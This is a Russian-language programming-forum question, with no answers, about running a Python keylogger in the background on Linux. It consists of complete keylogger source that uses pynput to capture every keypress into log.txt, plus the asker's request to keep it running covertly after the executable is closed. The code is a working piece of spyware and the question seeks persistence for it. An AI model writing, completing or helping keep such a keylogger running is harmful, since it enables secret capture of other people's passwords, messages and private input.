Запуск python кейлоггера в фоне. Linux

import pynput


lst = []


def func(key):
    global lst
    lst.append(str(key).replace('\'', ''))
    if len(lst) > 0:
        log_file(lst)
        lst = []


def log_file(lst):
    with open('log.txt', 'a') as file:
        for k in lst:
            if k in s.keys():
                file.write(s[k])
            else:
                file.write(k)

s = {'Key.tab': '<TAB>', 'Key.space': '<SPACE>', '""': '\'',
                'Key.enter': '<ENTER>', 'Key.alt': '<ALT>', 'Key.caps_lock': '<CAPS>',
                'Key.delete': '<DEL>', 'Key.ctrl':'<CTRL>', 'Key.shift': '<SHIFT>', 
                'Key.esc': '<ESC>', 'Key.backspace': '<BACKSPACE>'}

listener = pynput.keyboard.Listener(on_press=func)
listener.start()

Надо что бы при закрытии исполняемого файла программа продолжала работать в фоне. Я использую

listener.start

но программа всё равно прекращает свою работу.


Ответы (0 шт):